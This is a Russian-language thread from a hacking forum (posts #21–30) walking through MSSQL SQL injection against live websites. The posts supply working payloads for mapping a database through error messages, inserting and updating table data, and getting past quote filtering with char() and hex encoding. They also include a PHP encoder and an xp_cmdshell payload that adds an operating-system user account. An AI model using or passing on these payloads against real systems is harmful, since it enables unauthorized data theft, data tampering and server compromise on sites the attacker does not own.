ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 25.08.2007, 13:07
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


Exclamation

Альтернативы MSSQL иньекций.

Начнем опущу все начальные данные которые и так есть в прошлых статьях начнем с главного. Основной нашей целью будет изменить данные. Хачу обратить ваше внимание что в некоторых случаях когда мы не можем вывести данные, мы можем их удалить, проапдейтить или добавить(DELETE UPDATE INSERT), а так же выполнить различные команды, я хочу пояснить что данных не корректно обрабатываются только на выходе а не на входе это можно сравнить со слепыми иньекциями в mysql, раньше я писал что слепых иньекций не сушествует но это не так. В итоге мы можем исполнять произвольные команды в некоторых случаях, от чего это зависит я не разобрался, лишь пишу что это возможно. Теперь рассмотрим еще 1 альтернативыный способ рассмотрим код ошибоки 80040e14 по ANSI это
Цитата:
"The command text contained one or more errors"
ошибочка довольно забавная особденно кода идет еще с добавочным потерянным параметром (или без него) допуспим:

GET
?id=1'
и в ответ получаем
Цитата:
Syntax error in string in query expression 'addID = 1000''
Дальше будем что делать за прос что бы узнать table.feild, и будем использывать такую конструкцию для запроса having 1=1--
(для правильного запроса могут быть необходимы ' ` " ") ') `) и так далее это оригинальный запрос)

В ответ мы должны получить что то типо такого запроса.
Цитата:
Column ‘NEWS.TITLE’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
Будем смотреть структуру бд далее используя такой синтаксис.
Цитата:
‘ group by NEWS.TITLE having 1=1--
Во ответ получим что то типа
Цитата:
Column ‘NEWS.TEXT’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
В итоге мы нашли еще 1 поле NEWS.TEXT продолжим наш небольшой переборчик.
Цитата:
‘ group by NEWS.TITLE,NEWS.TEXT having 1=1--
Получим что то типо:
Цитата:
Column ‘NEWS.ID’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
Этот способ мы можем использывать для обхода кавычек и замены методу where not in('1','2').
Цитата:
‘ group by NEWS.TITLE,NEWS.1,NEWS.2,NEWS.3,NEWS.4 having 1=1--
Что ж мы узнали примерную структуру, теперь мы можеть узнать кодировку данных... Будем использывать функцию sum(), для этого нам придеться исползывать запрос вывода select мы можем сделать это 2 способами исползывать подзапрос или оператор uinon разницы в приныпе нету, в примере буду сползывать union с 1 колонкой.
Цитата:
` union select sum(ID) from NEWS--
` union select sum(TITLE) from NEWS--
` union select sum(TEXT) from NEWS--
Получим в ответ что типо:
Цитата:
The sum or average aggregate operation cannot take a
varchar data type as an argument.
Где varchar это тип кодировки. Зачем это есть кодировки кторые не выводяться в иньекции, сообсвенно в 99% случаев выводяться кадеровки varchar и int. Дальше можно сделать адейт таблицы
Цитата:
` ; insert into NEWS values( 1, 'hack', 'hack')--"
или
` ; update NEWS values( 1, 'hack', 'hack')--
В ответ мы не должны получить не 1 ошибки так как запрос правильный, и не содержит выходных данных.
Пока все продолжение следует.

[ cash ] Hack-Shop.Org.Ru (c)
 
Ответить с цитированием

  #22  
Старый 01.09.2007, 13:32
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
Ответьте на пост №23
Смотря в каком месте используеться кавычка, как правило обойти можно %27 %2527. А некоторых местах ее можно использывать как 0x27 в некоторых char(), все зависит от конкретного запроса.
 
Ответить с цитированием

  #23  
Старый 01.09.2007, 20:44
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Код:
' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("change_ssn_history"))--
Здесь ругается на вторую кавычку или на последнюю..
Не на первую т.к. простой запрос
Код:
' or 1=@@version--
работает....

Вообщем такую ошибку выводит после моего запроса:
Код:
Warning: mssql_query() [function.mssql-query]: message: Line 1: Incorrect syntax near '\'. (severity 15) in C:\AppServ2\www\index.php on line 17

Warning: mssql_query() [function.mssql-query]: Query failed in C:\AppServ2\www\index.php on line 17

Warning: mssql_num_rows(): supplied argument is not a valid MS SQL-result resource in C:\AppServ2\www\index.php on line 18
 
Ответить с цитированием

Обход кавычек.
  #24  
Старый 06.09.2007, 09:13
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


Exclamation Обход кавычек.

UPDATE! ВАЖНО!

Обход кавычек.

Итак очередной мини апдейт к статье. Итак обход кавычек покурив мануалов от мелкомгяких нашел интересную особенность по обходу кавычек в cmd и а так же xp..cmdshell. не пробывал тестить при фильтрации кавычек в др функциях, как select но все в ваших руках.

Если бы был открыт ремот декспот то можно бы было добавить юзера, благо обход кавычек нашел прикольный.

Цитата:
master..xp_cmdshell [net user lol lol /add]

тобишь меняем выражение в кавычках на [], все же полезно читать мануалы...
 
Ответить с цитированием

  #25  
Старый 09.09.2007, 23:54
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от che_ha  
А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??
Это происходит потому, что данная функция принимает только один параметр.
Для обхода фильтрации кавычек необходимо использовать функцию char(int ascii).
При этом необходимо учитывать, что функция принимает один параметр и конкатенация в MSSQL, происходит с помощью оператора "+".
Например если имя таблицы - USER, то соответственно при обходе надо использовать конструкцию char(117)+char(115)+char(101)+char(114), при этом кодировать сами кавычки уже не надо!!!
При проведении непосредственно инъекции необходимо так же помнить, что знак "+" интерпретируется в GET HTTP запросах как пробел, по-этому его необходимо заменять на его url encode %2B.
Для примера рассмотрим определение таблиц, если у нас при первом запросе к information_shema.tables вывалилось имя таблицы USER, то след запрос будет иметь вид:
Код:
http://www.site.com/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)))--
в результате такого запроса получим имя второй таблицы и т.д.

Последний раз редактировалось [53x]Shadow; 11.09.2007 в 18:16.. Причина: Исправил неточность в примере...
 
Ответить с цитированием

  #26  
Старый 11.09.2007, 18:12
Аватар для Red_Red1
Red_Red1
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме:
4608122

Репутация: 874
Отправить сообщение для Red_Red1 с помощью ICQ
По умолчанию

Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.
Цитата:
char(117)+char(115)+(101)+char(114)
Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
А сам вариант конечно же рабочий
 
Ответить с цитированием

  #27  
Старый 11.09.2007, 18:18
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от Red_Red1  
Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.

Пропущен char рядом с (101). И USER с такими кодам нужно в нижнем регистре.
А сам вариант конечно же рабочий
Исправил, регистр не принципиален..
 
Ответить с цитированием

  #28  
Старый 22.09.2007, 18:58
Аватар для .::Gh0st::.
.::Gh0st::.
Гарант Форума
Регистрация: 22.01.2005
Сообщений: 267
Провел на форуме:
1982081

Репутация: 1067
Отправить сообщение для .::Gh0st::. с помощью ICQ
Post

мб пригодится кому для обхода кавычек
PHP код:
<?
$encode 
"table_name";

$n strlen($encode);
for (
$i 0$i <= ($n-1); $i++)
{
if ((
$n-1) === $i) {echo "char(".ord($encode[$i]).")";}
else
{
echo 
"char(".ord($encode[$i]).")%2B";    
}
}
?>
 
Ответить с цитированием

  #29  
Старый 22.09.2007, 19:09
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от .::Gh0st::.  
мб пригодится кому для обхода кавычек
Universal char SQL encoder
=)
 
Ответить с цитированием

  #30  
Старый 23.09.2007, 09:42
Аватар для ccrus
ccrus
Новичок
Регистрация: 16.03.2006
Сообщений: 8
Провел на форуме:
21737

Репутация: 8
Отправить сообщение для ccrus с помощью ICQ
По умолчанию

2cash и все-все-все...
для обхода антимаджиков разных для хр_цмдшелл и прочих не требующих вывода проще юзать
declare @q varchar(8000) select @q=0x'.$query.' exec(@q)

Последний раз редактировалось ccrus; 23.09.2007 в 09:46..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Os - моя крепость Elekt Избранное 32 06.08.2009 15:10
Мнения: "Безопасность от Microsoft: шаг к обновленному миру?" dinar_007 Мировые новости 5 25.12.2006 19:20
Дыра в Word позволяет захватить контроль над ПК »Atom1c« Мировые новости 17 12.12.2006 13:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ